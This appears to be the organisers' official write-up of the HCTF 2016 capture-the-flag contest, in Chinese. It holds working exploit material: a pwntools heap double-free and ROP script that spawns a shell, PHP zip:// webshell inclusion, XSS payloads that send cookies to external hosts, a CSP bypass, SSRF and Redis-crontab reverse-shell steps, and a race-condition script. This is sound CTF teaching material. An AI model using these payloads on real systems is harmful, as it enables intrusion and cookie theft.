*本文原创作者:sysorem,本文属FreeBuf原创奖励计划,未经许可禁止转载
2016年11月25日20:00 – 2016年11月27日20:00,历时48小时,第八届HCTF网络安全对抗赛正式完结。本次比赛由Vidar-Team全程提供技术支持,Vidar-Team成立于2016年9月,由一群热衷研究网络安全技术的小伙伴组成。 想了解更多关于Vidar-Team介绍,欢迎访问我们的 wiki 。
赛前我们做了各种准备,也经历了各种突发情况,总算是还算完美地给大家呈现了一场精彩的HCTF,不知道大家感觉怎么样,为了能够给大家带来一场更有趣的比赛,我们还是坚持使用了特殊的比赛规则,还用上了从Defcon学来的动态分数制度,虽然下层制度还有很多不完善,但仍希望大家能享受和传统竞赛不一样的乐趣。
稍稍总结一下整场比赛吧,报名队伍超过1800+,当然,由于xctftime的一些问题,很多队伍都是无效的, 成功登陆过的队伍有412支 , 完成杂项签到的队伍数为235 , 完成web签到题目的队伍数为226 , 结束时还在第一层的队伍有184 , 在第二层的有168 , 在第三层的有30 , 在第四层的有15支 , 能进入第五层的只有15支 。 唯二没有人解出来的题目是Crypto So Amazing和5-days , 队伍AAA在开赛7小时第一个进入了第四层 , 队伍FlappyPig在开赛24小时第一个进入了第五层!
下面附上出题人的writeup(由于re已经公开了源码,下面的wp就不包括re部分了)
题目源码
本次题目共分为5层 ,下面逐层奉上各位师傅的解题姿势。
题目描述:only ios99 can get flag(Maybe you can easily get the flag in 2099
最终分数:10pt
完成人数:226
进去后发现这么一句话,相信有经验的人第一时间就能反应过来是要改ua。
这次比赛中总有感觉可能很多人不知道,Chrome的开发者工具(F12一下)里本身就能模拟手机访问,复制请求头中的ua,然后修改为ios99即可(ps:ios是iphone的系统)
题目描述:博丽神社赛钱箱
最终分数:34pt
完成人数:152
其实题目是很简单的,熟悉Web开发的老司机应该都知道RESTFUL Webservice。
在RESTFUL下,传参方式改成了路由传参,也就是`/money/12345`就是传递了money=12345。
所以根据题意,锁定payload,贴心的Aklis大佬还自带了脚本
出于平衡难度梯度的原则,所以出了道图片隐写,因为最近ichunxxx一条龙比赛越来越多,脑洞越来越大,索性就出了个标准的LSB隐写,为了不让题目太简单,我选择塞了一个压缩包进去
如果你要问怎么办,我只能放代码了,如果这个看不懂的话,你可能需要审视一下自己到底是被ctf玩还是玩ctf了
# coding: utf-8 from PIL import Image fflag = open("justastart.zip","rb") flag = [] while True: byte = fflag.read(1) if byte == "": break else: hexstr = "%s" % byte.encode("hex") decnum = int(hexstr, 16) binnum = bin(int(hexstr, 16))[2:].zfill(8) for i in xrange(8): flag.append(binnum[i:i+1]) flag.reverse() im = Image.open('misc1.jpg') width = im.size[0] height = im.size[1] pic = Image.new("RGB",im.size) for y in xrange(height): for x in xrange(width): pixel = list(im.getpixel((x, y))) for i in xrange(3): count = pixel[i]%2 if len(flag) == 0: break if count == int(flag.pop()): continue if count == 0: pixel[i]+=1 elif count == 1: pixel[i]-=1 pic.putpixel([x, y],tuple(pixel)) pic.save("flag.png")
顺手附上解密代码
# coding: utf-8 from PIL import Image im = Image.open('flag.png') width = im.size[0] height = im.size[1] a = "" aa = "" for y in xrange(height): for x in xrange(width): pixel = im.getpixel((x, y)) for i in xrange(3): aa += str(pixel[i]%2) for i in xrange(len(aa)): try: a += chr(int(aa[i*8:i*8+8],2)) except: break fflag = open("test.zip","w") fflag.write(a) fflag.close()
如果你还不清楚怎么发现lsb特征的话,你可能需要`Stegsolve`这个工具
题目描述:上上下下左左右右baba
打游戏而已,就简单的打游戏好了,金手指无敌过关就可以get flag。
有人问有没有逆向解法,事实上其实没有,游戏是通过`Tile Layer Pro`直接对图层的修改,比较特别,有兴趣的人可以去玩玩看
题目是我很早以前做的sctf q1中的web500,我做的时候踩了坑,所以花了很久,感觉题目很有意思,所以就修改了题目又放上来了。
正解wp
最终分数:124
完成队伍:64
解题人数意外的多,感觉还是有很多py的人,迷…
分析代码
h = new MersenneTwister(parseInt(btoa(answer[_[$[6]]](0, 4)), 32));
首先我们根据第一句得到h,h为一个伪随机的数组,根据前四位构成,所以flag的头hctf很重要。
紧接着很多伪随机数都成了固定的数字,也就便于分析了
o = answer.split("_");
这里把输入根据下划线分割得到o
e =- (this[_[$[42]]](_[$[31]](o[1])) ^ s[0]); if (-e != $[21]) return false; e ^= (this[_[$[42]]](_[$[31]](o[2])) ^ s[1]); if (-e != $[22]) return false; e -= 0x352c4a9b;
根据这部分,相互异或得到了中间两部分的ascii码,这里其实分析逻辑容易进入误区,这里要肯定的是,其实flag一定是可显示的字符,所以肯定不可以是3位或更多位分割,这么一来就很容易确认了
代码到了这里
a += _[$[31]](o[3].substring(o[3].length - 2)).split("x")[1]; //o[3]的最后两位 d = parseInt(a, 16) == (Math.pow(2, 16)+ -5+ "") + o[3].charCodeAt(o[3].length - 3).toString(16) + "53846" + (new Date().getFullYear()- +1+ "");
出现了很多可变的东西,首先是a
a由o[0]和o[3]共同决定
a = parseInt(_[$[23]]("1", Math.max(o[0].length, o[3].length)), 3) ^ eval(_[$[31]](o[0]));
其次a会在十进制的基础上,拼接上o[3]出大括号的后两位的十六进制,转十进制
`a += _[$[31]](o[3].substring(o[3].length – 2)).split(“x”)[1];`
和a相比较的后面的代码,其中有一个可变量为o[3]的倒数第三位,这里出现了隐藏条件
1、中间的o[3]倒数第三位转十六进制后不允许存在字母
2、整体转16进制之后,除了后四位不能存在字母
3、倒数2位必须可显
综合上面的条件,我们就需要脚本来解决问题了
for i in range(30,120): if 'a' not in hex(int("65531" + repr(i) + "53846" + "2015"))[2:-5]: if 'b' not in hex(int("65531" + repr(i) + "53846" + "2015"))[2:-5]: if 'c' not in hex(int("65531" + repr(i) + "53846" + "2015"))[2:-5]: if 'd' not in hex(int("65531" + repr(i) + "53846" + "2015"))[2:-5]: if 'e' not in hex(int("65531" + repr(i) + "53846" + "2015"))[2:-5]: if 'f' not in hex(int("65531" + repr(i) + "53846" + "2015"))[2:-5]: print i print hex(int("65531" + repr(i) + "53846" + "2015")) print hex(int("65531" + repr(i) + "53846" + "2015"))[-5:-1] # print chr(int(hex(int("65531" + repr(i) + "53846" + "2015"))[-5:-3],16)) # print chr(int(hex(int("65531" + repr(i) + "53846" + "2015"))[-3:-1],16))
下面我们得到了7条,紧接着,筛选可显示字符
只剩下3个了
64 0x17481184783f3fL 3f3f
只剩下这个了,那么最后二位是**??**,倒数第三位是**d**
那么我们现在还得到了o[3]和o[0]相关的关系,那么我们接下去看
i = 0xffff; n = (f = _[$[23]](o[3].charAt(o[3].length - 4), 3)) == o[3].substring(1, 4); // f 是o[3]的倒数第4位重复3遍和o[3]234位相等 g = 3; t = _[$[23]](o[3].charAt(3), 3) == o[3].substring(5, 8) && o[3].charCodeAt(1) * o[0].charCodeAt(0) == 0x2ef3; //o[3]的第四位重复三遍和o[3]的678位相同,o[3]第2位的阿斯克码-2×o[0]第1位的阿斯克码==0x2ef3
这里我们拆解0x32ab得到119和101
得到两个字符分别为e和w,那么可以确定2位,但是不确定顺序
下面接着分析
i = 0xffff; g = 3; h = ((31249*g) & i).toString(16); i = _[$[31]](o[3].split(f).join("").substring(0, 2)).split("x")[1]; s = i == h;
这里的s判断给了我们新的信息,因为h已知,所以我们就能得到o[3]的第一位和第五位,这么一来,o[3]所有的位我们都知道了是
`neee3eeed??`
现在我们知道了长度,可以肯定的是,o[3]肯定比o[1]长,那么基本可以得到o[1]了,回到刚才的逻辑
a = parseInt(_[$[23]]("1", Math.max(o[0].length, o[3].length)), 3) ^ eval(_[$[31]](o[0]));
这里我们得到的o[0]为`h3r3`, 特别的是,我们刚才得到o[0]第一位为w,这里有个小坑,由于`parseInt(_[$[23]](“1″, Math.max(o[0].length, o[3].length)), 3)`过小,所以异或没有影响到所有的位,根据意思,我们加上了w,那么getflag
hctf{wh3r3_iz_y0ur_neee3eeed??}
进去后发现是个上传图片的网站,这里可能存在文件上传漏洞
先随便上传一个文件进去,提示 `只能上传PNG图片`,猜测可能对文件后缀名做了检测。经过测试后发现上传的文件都被强制改了后缀 .png,`%00`截断的方法因已经修复不能用了。
我们回来看下这里的 fp 参数其实很明显,代表包含文件的文件名,可以采用 PHP协议 来读 php 文件源码
http://pics.hctf.io/home.php?fp=php://filter/read=convert.base64-encode/resource=home
可以发现对上传的文件类型做了检测
if($type !== 'image/png') { ?>
只能上传PNG图片
而且改了后缀名
move_uploaded_file($name,"uploads/$imagekey.png");
这时候我们可以通过 zip/phar伪协议 来包含文件
zip://xxx.png%23shell phar://xxx.png/shell
首先随便写个 php 文件
然后压缩,重命名为 shell.png 来绕过上传检测,这样我们就 getshell 了
http://pics.hctf.io/home.php?fp=zip://uploads/515969bfe90c2f52fbcd7e5818e8688b681eea4e.png%23shell&a=system&b=ls
最后 flag 在上层目录下的一个 php 文件里
这一题算是Hctf中最简单的一个pwn题。但是由于hctf的pwn题普遍不怎么友好。所以这一题也是相当的有难度的题目。
漏洞的触发条件其实很简单,因为这一题的出题思路和题目一样,纯粹的逆向技巧的利用。在delete的时候没有校验这块内存是否被释放过造成的一个double free。因为申请的堆块比较小,所以只能用uaf去解出这一题。
而且我在堆上面布置了一个函数指针,所以使用uaf去覆盖这个函数指针就可以达到任意跳转。
### 0×01 uaf构造
create(4, 'aaa/n') create(4, 'aaa/n') delete(0) delete(1) delete(0) create(4, '/x00') create(0x20, 'a' * 0x16 + 'lo' + '/x2d/x00') delete(0)
poc中使用了两次creat创建了两个大小一样的fastheap的结构,然后利用了fastheap使用单项链表连接并且不检查double free的特点对两个堆块依次释放,其中第一块我先后释放了两次,这样子会使得fastbin链表变成一个循环链表。再以适当的方式申请内存,就可以使得字符串缓冲区和带有函数指针的控制块重合,使覆盖函数指针成为可能。
### 0×02 绕过pie
为了绕过pie,需要leak出一个指向ELF文件的地址。正好,堆上就有这样一个函数指针。而且pie保护开启的话,地址的最后一位还是不变的。所以可以通过覆盖一个字节的函数指针最低位,使得本来调用delete函数的指针跳转到一个既能leak出地址,又不能使得程序崩溃的地方。
这里的这一条调用put的语句正好可以leak出堆上的指针,因为本来调用delete的时候,rdi是设置为内存的地址的,而且这一句puts语句正好main函数的死循环中,因为不会retuen,所以不会因为栈不平衡而崩溃。正好可以用来leak出程序的加载地址。
### 0×03 利用ROP
光光控制一个函数指针还是不能获得shell的,还需要得到libc的加载地址。所以还是需要构造ROP。
void deleteStr() { int id; char buf[0x100]; printf("Pls give me the string id you want to delete/nid:"); id = getInt(); if (id < 0 || id > 0x10) { printf("Invalid id/n"); } if (Strings[id].str) { printf("Are you sure?:"); read(STDIN_FILENO,buf,0x100); if(strncmp(buf,"yes",3)) { return; } Strings[id].str->free(Strings[id].str); Strings[id].inuse = 0; } }
所以我在delete的代码中,在调用函数指针之前特意在栈里留了一大块可以任意构造的缓冲区,就是为了覆盖函数指针为一个连续的pop;pop;ret指令,使得rsp指针迁移到一段rop上成为可能。这样就可以使用rop来完成任何想做的事情了。
### 0×04获取shell
我的poc中并没有用DynELF搜索libc的操作,毕竟出题人自己写poc的时候是可以开挂的。不过如果是选手做题,就需要通过ROP构造一个任意地址读来获取system地址了。不过还是有比较灵性的人猜出了服务器环境,直接找到了对应的libc。总的来说,libc不是一个很大的障碍。
#! /usr/bin/python from pwn import * context.log_level = 'debug' target = process('pwn-f') def create(size, string): target.recvuntil('quit') target.sendline('create ') target.recvuntil('size:') target.sendline(str(size)) target.recvuntil('str:') target.send(string) def delete(id): target.recvuntil('quit') target.sendline('delete ') target.recvuntil('id:') target.sendline(str(id)) target.recvuntil('sure?:') target.sendline('yes') create(4, 'aaa/n') create(4, 'aaa/n') delete(0) delete(1) delete(0) create(4, '/x00') create(0x20, 'a' * 0x16 + 'lo' + '/x2d/x00') delete(0) target.recvuntil('lo') addr = target.recvline() addr = addr[:-1] addr = u64(addr + '/x00' * (8 - len(addr))) - 0xd2d delete(1) create(4, '/x00') target.recvuntil('quit') target.sendline('create ') target.recvuntil('size:') target.sendline(str(0x20)) target.recvuntil('str:') target.send('a' * 0x18 + p64(0x00000000000011DC + addr)) print hex(addr) target.recvuntil('quit') target.sendline('delete ') target.recvuntil('id:') target.sendline('1') target.recvuntil('sure?:') ropchain = p64(addr + 0x00000000000011e3) # pop rdi ropchain += p64(addr + 0x202070)# got@malloc ropchain += p64(addr + 0x0000000000000990)# plt@put ropchain += p64(addr + 0x00000000000011e3)# pop rdi ropchain += p64(1) ropchain += p64(addr + 0x00000000000011DA)# magic ropchain += p64(0)# rbx ropchain += p64(1)# rbp ropchain += p64(addr + 0x0000000000202058)# r12 -> rip got@read ropchain += p64(8)# r13 -> rdx ropchain += p64(addr + 0x0000000000202078)# r14 -> rsi got@atoi ropchain += p64(0)# r15 -> rdi ropchain += p64(addr + 0x00000000000011C0)# magic ropchain += 'a'*8*7 ropchain += p64(addr + 0x0000000000000B65)# getInt target.sendline('yes ' + ropchain) addr = target.recvline()[:-1] addr = u64(addr + '/x00' * (8 - len(addr))) #addr = addr - 534112 + 288144 addr = addr - 537984 + 283536 print hex(addr) target.sendline(p64(addr)+'/bin/sh') target.interactive()
题目: < https://github.com/Hcamael/ctf-library/tree/master/RSA1 >
payload: < https://github.com/Hcamael/ctf-library/blob/master/RSA1/rsa1_payload.py >
出题时预测的分数在300分左右, 不过看完选手的wp后发现这题出现了重大失误, 现在来看, 这题只值150分左右, 但是实际情况只有23个队解出了该题.
本题思路来源: 基于隐藏指数的RSA-HSDβ算法, 全称为隐藏小私有指数δ的RSA后门密钥生成算法 .
改算法依赖于 wiener 小指数攻击方法
后门生成流程:
其中`β`是在`2^(k-1) ± 2^(k/2)`范围内的素数, 转置函数的作用是在`β`非常大的情况下, 返回值可以认为是PRP(Pseudo-Random Permutation). 转置函数可以有好几种形式, 我选取的是一种比较简单的转置函数.
从上面的流程可以看出这题非常的简单, 要逆向也是很容易的, 所以该题为本届HCTF密码学的签到题
逆向思路:
从上图可以看出本题只涉及到了wiener算法, 难度差不多是150左右
出题时本来是准备考两种算法的, 一种是wiener算法, 一种是[Riemann's hypothesis and tests for primality]( https://www.cs.cmu.edu/ ~glmiller/Publications/Papers/Mi76.pdf), payload中的`divide_pq`函数, 已知e, d, n质因数分解p和q(< http://www.di-mgt.com.au/rsa_factorize_n.html >)
原本设计着算出`(ϵ, δ)`后, 根据`(ϵ, δ, n)`分解出`q`和`p`, 但是出题失误, 导致只需要wiener算法就能getflag
PS1: 不过还是出现了非预期, ROIS的dalao利用wiener算法分解出`p`和`q`, < https://github.com/Hcamael/ctf-library/blob/master/RSA1/rsa_s.py >
PS2: 基于隐藏指数的RSA后门生成算法除了本题涉及的还有`RSA-HSPEβ`和`RSA-HSEβ`
题目: < https://github.com/Hcamael/ctf-library/tree/master/RSA2 >
payload:
- < https://github.com/Hcamael/ctf-library/blob/master/RSA2/rsa2_payload.py >
- < https://github.com/Hcamael/ctf-library/blob/master/RSA2/rsa2_payload.sage >
出题时预测的分数在400分左右, 实际情况只有7个队解出了该题. 和预测差不多, 最后放了一波hint, 要不然可能会更少.
本题思路来源: 基于隐藏素数因子的RSA-HPβ算法
该后门算法依赖于`Coppersmith partial information attack`算法, sage实现该算法
后门生成流程:
该算法的核心在于把p的前半部分比特隐写到n中
τ的长度为k/16比特
μ的长度为5k/16比特
λ的长度为5k/8比特
所以n的长度为k比特
`p * (q xor random(k/8比特长度))`的前3k/8比特的值是不变的
所以可以成功把τ, μ隐写到n中
逆向思路:
该题的难点主要在于`Coppersmith partial information attack`算法, 能在放hint前做出的队伍都是在github上找到了该算法的脚本< https://github.com/Gao-Chuan/RSA-and-LLL-attacks >
上来就是一个留言板,看起来就是xss题目,至于下面的md5碰撞,只是为了减少无意义的请求,差不多是验证码的性质,有些人可能没接触过,那么附上一个碰撞脚本
def crack_code(code): str = 10000 while 1: m2 = hashlib.md5() m2.update(repr(str)) if (m2.hexdigest()[0:4]==code): return str break str+=1 print crack_code('84a3')
差不多4位的md5只要几秒就跑到了,回到题目正题,从代码中我们可以看到基本的过滤
function filter($string) { $escape = array('/'','////'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; $string = preg_replace($safe, 'hacker', $string); $xsssafe = array('img','script','on','svg','link'); $xsssafe = '/' . implode('|', $xsssafe) . '/i'; return preg_replace($xsssafe, '', $string); }
我们看到其实只有很少的过滤,而且是单层的,对于xss来说,只需要复写2次就可以绕过了,类似于
`scrscriptipt`这样。
所以其实关键在于CSP
Content-Security-Policy:default-src 'self'; script-src 'self' 'unsafe-inline'; font-src 'self' fonts.gstatic.com; style-src 'self' 'unsafe-inline'; img-src 'self'
不熟悉的人可能并不清楚其中的CSP有什么样的问题,试试上,整个CSP除了限定了域以外,没有做任何的限制,可以执行任意的js,这也就导致了使用人数比较多的非预期做法。
### 跳转绕过 ###
<scrscriptipt>window.open(" http://xxxx:8080/cookie.asp?msg= "+document.body)</scrscr iptipt>
<scrscriptipt>window.locatioonn.href%3d"http%3a// www.example.com/xss/write.php%3fdomain%3d "%2bescape(document.cookie)%3b</sscriptcript>
<scrscriptipt>var a=document.createElement("a");a.href=' http://xss.com/?cookie= '+escape(document.cookie);a.click();</sscriptcript>
上面几种思路类似,通过构造新开页面或者跳转来解决域限制,由于js可以任意构造,所以这里也就通过特别的方式绕过了原本的限制。
### chrome对CSP支持的不完整绕过 ###
这种也就是我出题的本意,从文章中可以获得对漏洞的整体了解,主要是2篇
http://paper.seebug.org/91/
当然我自己也写了分析文章 http://lorexxar.cn/2016/10/28/csp-then/
这里我的后台bot使用的也正是chrome浏览器,由于浏览器对CSP特性支持的不完整,导致link标签的白名单特性存在跨域请求的能力,所以构造payload
<Scscriptript>var n0t = document.createElement("liscriptnk");n0t.setAttribute("rel", "prefetch");n0t.setAttribute("href", "//xxx:2333/" + document.cookie);document.head.appendChild(n0t);</Scscriptript>
后面xss平台或者vps接受一发搞定
这一题的内部使用名字是brop,因为这一题的出题思路和做题思路都是来源于一篇论文
http://www.scs.stanford.edu/brop/
所以知道这篇论文的人应该很快就能意识到这一题的做法
扫目录找到README.md可以得到hint
2016.11.11 完成登陆功能,登陆之后在session将用户名和用户等级放到会话信息里面。 判断sessioin['level']是否能在index.php查看管理员才能看到的东西。 XD
2016.11.10 老板说注册成功的用户不能是管理员,我再写多一句把权限降为普通用户好啰。
2016.10 我把注册功能写好了
条件竞争,直接附上脚本
# -*- coding:utf-8 -*- import requests import threading for i in range(0,9): a = "cccccccc"+str(i) data = { 'username': a , 'password': a , 'gogogo' : '苟!'} def register(a): r = requests.post(url = "http://changelog.hctf.io/register.php" , data = data ) def login(a): r = requests.post(url = "http://changelog.hctf.io/login.php" , data = data) if "You level is zero, so you can't touch me!" not in r.content: print r.content exit() threading.Thread(target = login , args =(a,)).start() threading.Thread(target = register , args =(a,)).start()
asm的解释器
附带字节码生成
好像大家都是先leak出libc,再做的,但其实并不用leak,替换strcmp@plt 为 malloc@plt即可call system
在公司膜Ricter的时候想到的思路。
预期内的做法(general):
1. 信息泄漏
2. CBC flip 或者 Padding Oracle 伪造管理员上线
3. 了解epub文件,构造XXE任意文件读取flag.php
> 如果没有第一步,作为一道黑盒题目,你能够 摸清套路 吗? ^_^
P.S. Aklis灵魂运维,在部署这道题目的时候忘了上vhost的配置了,导致可以在获得admin身份之后直接上传包含webshell的zip压缩包。
用 comm.php 的加解密伪造也是我的锅,密钥是23333,然后我忘了几个3,后来在第五层的禁书目录其实就多了两个3,Orz。
在第四层按我的出题思路怼的师傅可以瞬秒禁书目录。
通过php://filter构造
XML
直接回显
但这样的话,别人能看得到哦,自己忘了覆盖回去让其它选手捡了便宜 XD
> 更合适的作法是通过远程的XXE回显。
两题的flag
打开页面发现了聊天版性质的站,进出找一找发现有这么几个功能:
注册->登陆->可以修改个人信息河头乡->向任何人留言
稍微测试,不难发现
Content-Security-Policy:default-src 'self'; script-srchttp://sguestbook.hctf.io/static/'sha256-n+kMAVS5Xj7r/dvV9ZxAbEX6uEmK+uen+HZXbLhVsVA=' 'sha256-2zDCsAh4JN1o1lpARla6ieQ5KBrjrGpn0OAjeJ1V9kg=' 'sha256-SQQX1KpZM+ueZs+PyglurgqnV7jC8sJkUMsG9KkaFwQ=' 'sha256-JXk13NkH4FW9/ArNuoVR9yRcBH7qGllqf1g5RnJKUVg=' 'sha256-NL8WDWAX7GSifPUosXlt/TUI6H8JU0JlK7ACpDzRVUc=' 'sha256-CCZL85Vslsr/bWQYD45FX+dc7bTfBxfNmJtlmZYFxH4=' 'sha256-2Y8kG4IxBmLRnD13Ne2JV/V106nMhUqzbbVcOdxUH8I=' 'sha256-euY7jS9jMj42KXiApLBMYPZwZ6o97F7vcN8HjBFLOTQ=' 'sha256-V6Bq3u346wy1l0rOIp59A6RSX5gmAiSK40bp5JNrbnw='; font-srchttp://sguestbook.hctf.io/static/fonts.gstatic.com; style-src 'self' 'unsafe-inline'; img-src 'self'
CSP限制的域差不多符合以下几个条件:
1、script没有开启unsafe-inline,也就是说不允许内联脚本 2、script只允许static目录,但这个目录下内容不可控 3、style-src开启了unsafe-inline而且是self(这里其实是不小心的失误) 4、default-src为self,也就是站内请求都是被许可的
### 正解 ###
综合CSP的限制,我们需要回去想想题目中给的条件,有几个比较重要的。 1、static下不存在任何非静态文件,除了redirect.php 2、redirect.php的跳转位置可以自定义 3、我们上传的头像没有任何上传漏洞,上传位置是/upload/
这里先给出一篇文章
http://lorexxar.cn/2016/10/31/csp-then2/
根据文章,我们不难发现,现在所有的条件都符合,如果顺着思路到这里,很容易就会想到下一步
构造上传图像为
<script>var xml = new XMLHttpRequest(); xml.open('POST', 'http://sguestbook.hctf.io/submit.php', true); xml.setRequestHeader("Content-type","application/x-www-form-urlencoded"); xml.send('to=xxxx&message='+document.cookie); </script>
然后向admin发送
<scscriptript src="http://115.28.78.16:12222/static/redirect.php?u=/upload/cf4b03010ddaafec5933f656fad2692d"></scriscriptpt>
### 前面步骤相同,最后的域限制通过跳转来绕过 ###
这个其实没什么好说的,其他的部分相同,只有最后一步使用location来获得cookie,payload和上题相同,就不贴了。
### 精心构造flash xss ###
这种方式是Blue-Whale的师傅想到的,根据上面CSP限制,我们很快就能发现其实对于除script以外的部分都比较友好,只要在域内就可以了,再加上,域内存在上传点,那么我们是不是可以构造一个**Action Script**
payload,头像处上传
import flash.external.ExternalInterface; var ck; ck = ExternalInterface.call('function(){return document.cookie}'); ua = ExternalInterface.call('function(){return navigator.userAgent}'); ExternalInterface.call("$.post","submit.php",'to=qqc&message=document.cookie'+ck+ua); stop();
然后构造
<embed src="http://sguestbook.hctf.io/upload/4b3097d0fef014bc099fe305fd2cb685" type="applicatioONn/x-shockwave-flash"></embed>
这个payload只要浏览器有flash就可以了
### 强制刷新多次跳转 ###
这里有一种在比赛中遇到的特别的payload,使用的漏洞和前面提到的相同,也是多次跳转导致的目录绕过,但是特别的是,使用了一种特别的手段
payload我没找到,但是类似于
<META HTTP-EQUIV="refresh" CONTENT="0; url=data:text/html;base64,PHNjcmlwdD53aW5kb3cubG9jYXRpb24uaHJlZj0iaHR0cDovLzE2My40NC4xNTUuMTc5Ijs8L3NjcmlwdD4=">
上面应该是个错误的payload,但是在守护的过程中的确存在有效payload,只可惜没能记录下来。
我最早看到这个payload,在
http://www.tuicool.com/m/articles/77bABnm
题目描述:新搭的wp居然爆了漏洞,真气,漏洞修复了却被安了后门,你能找到后门在哪吗???提供压缩包为docker镜像
这题目其实可以出的特别好,但是由于我个人要管的题目太多了,所以搞着搞着就乱了,导致这道题目被非预期所沦陷了,这里我就重新说一遍正解吧。
首先在正常的题目中,现在在home目录下的脚本是不该存在的,也不会存在所谓的viminfo以及access.log日志。
加载docker之后,首先发现docker中只存在lnmp环境,其余没有任何服务,我们找到`/home/wwwroot/default/`下是web目录,里面放了一个最新版的wp,并且还能找到压缩包
既然题目中是站中安了后门,首先肯定是解压源码,然后diff文件,很快就能发现,源码其实并没有被改变。
那么写一个phpinfo.php页面
我们发现php版本是7.0.7,接着向下看
我们发现不一样的东西。php opcache开启,而且检验一致性的配置已经关闭了(7.0.7增加了这个配置,为了漏洞存在,我关闭了这个)
那么猜测后门被直接写入了bin中,那么大家肯定会想到这个工具。
http://lorexxar.cn/2016/05/27/opcache-jcfx/
也就是我在测试中无意留在镜像中的脚本,但是很多队伍都发现了,这个脚本是存在问题的。
因为在镜像中有个库版本过高,所以整个脚本完全跑不起来,所以我想了另一种分析方式。
第一种,时间戳排序法
回想漏洞存在的条件,如果真的到了通过这种方式拿后门的情况,写后门一定会写入不容易被改变的位置,因为如果文件被改变,bin就会重新编译。
其次,既然我需要写入后门进bin中,肯定需要修改bin,那么文件的时间戳一定会被改变。
那么在一群没怎么被改变的文件处,最新的部分时间戳中一定有问题。
那么锁定文件,flag一定是可显字符串,可以没必要分析字节码,直接strings即可
### 题目描述 ###
Welcome to ATField.
hint:
1: 在第一题里不只有flag,还有第二题的入口
2、扫端口没用,几百线程也没用的呀
3、我从来没说过,flag1那里没有别的东西啊
4、安nosql的服务器是centos
5、mdzz,没人注意到nosql的语法吗
### 解题逻辑 ###
AT Field1首先是很简单的ssrf绕过,绕过ssrf之后,大部分人都选择了扫127.0.0.1的端口,想找到本地开启的服务。
为了大家能在有限的时间里不浪费时间,我放出了前3条hint,之所以不想说的太明白,是因为出题的时候,认为这一步是需要扫目录的,在flag1的位置index.php那里,是通过git clone到本地的,虽然我删除了.git,但是却
遗留了README.md,在Readme中,我们获得了很多关于下一步的信息。
11.23
ak说上线的.git要都删了,以免被拖源码
11.24
听ak说nosql蛮好用的,link一个玩玩看
11.25
哎呀,docker怎么没有crontab,都不能定时重启,装一个装一个
事实上,在这三句话中能获得信息远远超过你的想象…
首先是nosql,我们可以得到服务的大致端口号,这个我相信大部分人都能想想到
其次就是docker,如果你尝试过使用docker来连接容器的话,你就会知道很多隐藏信息
1、redis的docker中没有任何多余的服务,crontab也没有,当然也不可能有web服务
2、docker的连接方式类似于内网,所以和题目并不在同一个docker
3、docker内网比较特殊,类似于从192.168.0.1开始,如果前面的ip被占用,就依次递增,由于题目环境并不复杂,所以内网的ip并不是太多,理论上来说,不超过30个请求就能找到目标ip(这里有一个方式是用过host来代替ip,遗憾的是,经过我的测试,host替代会导致python urllib header注入失败)
4、docker的默认用户是root
或许你可能没有得到那么多信息,那么稍后我们顺着题目思路,来看看这些条件是如何利用的
紧接着很快就能发现整个站是python的,而且请求图片是通过urllib方式,那么很自然的想到了python urllib httpheader注入。
国内主要是这两篇文章
http://www.tuicool.com/articles/2iIj2eR
https://security.tencent.com/index.php/blog/msg/106
由于redis写入的文件有莫名的头和尾,所以这里只有centos才能成功通过crontab来弹shell
这里先总结整个流程: 302->本机ssrf->内网->内网的redis->python urllib http头注入构造redis请求-->redis写入crontab->crontab定时执行getshell
整个题目最难的其实就是黑盒,因为全程你并不知道是不是写入成功了,所以想要提高成功率,必须在本地redis搭建成功
### writeup ###
#### AT Field1 ####
整个题目打开是这样的
随便放个图片地址,发现返回了一张图片,
从这部分 很容易想到这里存在ssrf,那么问题就是如何过滤了。
稍微测试下,我们发现返回了
**NoNoNo, guys, Links must be accord with standard of .tld and contain domain name.**
这里我们测试能发现,并不允许ip的请求,也就是描述中所说的,请求必须符合.tld标准并且包含域名,如果想要请求127.0.0.1,我们这里有两种绕过方式
1、 http://www.127.0.0.1.xip.io
这种方式可以自动把域名指向中间的ip,在一些特殊情况下非常好用
2、 http://xxxxx/?u=http://127.0.0.1
在有域名的vps上写一个跳转页面实现,事实上,只有第二种做法可以顺利继续做下一题
#### AT Field2 ####
到了这里,很容易误解认为要扫本机的服务,所以及时放出了3个提示
1: 在第一题里不只有flag,还有第二题的入口
2、扫端口没用,几百线程也没用的呀
3、我从来没说过,flag1那里没有别的东西啊
不能说提示有多明显吧,但是我相信从hint不难得出,在上一个flag所在页面,存在一些别的未知的文件,那么抄起扫目录的脚本,跑一跑,很快找到` http://127.0.0.1/README.md `
base64解码得到
11.23
ak说上线的.git要都删了,以免被拖源码
11.24
听ak说nosql蛮好用的,link一个玩玩看
11.25
哎呀,docker怎么没有crontab,都不能定时重启,装一个装一个
事实上,在这三句话中能获得信息远远超过你的想象…
首先是nosql,我们可以得到服务的大致端口号,这个我相信大部分人都能想想到
其次就是docker,如果你尝试过使用docker来连接容器的话,你就会知道很多隐藏信息
1、redis的docker中没有任何多余的服务,crontab也没有,当然也不可能有web服务
2、docker的连接方式类似于内网,所以和题目并不在同一个docker
3、docker内网比较特殊,类似于从192.168.0.1开始,如果前面的ip被占用,就依次递增,由于题目环境并不复杂,所以内网的ip并不是太多,理论上来说,不超过30个请求就能找到目标ip(这里有一个方式是用过host来代替ip,遗憾的是,经过我的测试,host替代会导致python urllib header注入失败)
4、docker的默认用户是root
首先我们根据拿到的提示扫内网,目标大概是192.168.0.1向上,端口为熟悉的nosql端口。 注意这里有可能存在误区,因为通过link连入的docker内**不存在任何多余的服务**,所以22、80、8080端口都不可能开放!
其次就是,如果向redis服务端口发送数据,如果符合格式则会写入数据,如果不符合格式也不会有任何返回,如果向存在服务的端口发送数据的话,页面会因为**超时返回500**,但如果不存在,则会直接返回**urlopen error**
根据上面的信息爆破,很快就能得到redis位置**192.168.0.10/6379**
根据请求头,不难发现请求中ua为python的urllib
这里先推荐几篇文章
https://security.tencent.com/index.php/blog/msg/106
http://www.tuicool.com/articles/2iIj2eR
这里的python urllib header注入漏洞编号**CVE-2016-5699**,值得注意的是由于python的更新频率比较快,所以基本上已经很少有版本存在这个漏洞了,要求**python3 < 3.4.3 || python2 < 2.7.9**
而且,windows上会无效,提示geturlinfo error,至今不能肯定原因。
漏洞成因就不多赘述了,这里构造redis向crontab配置文件,写入
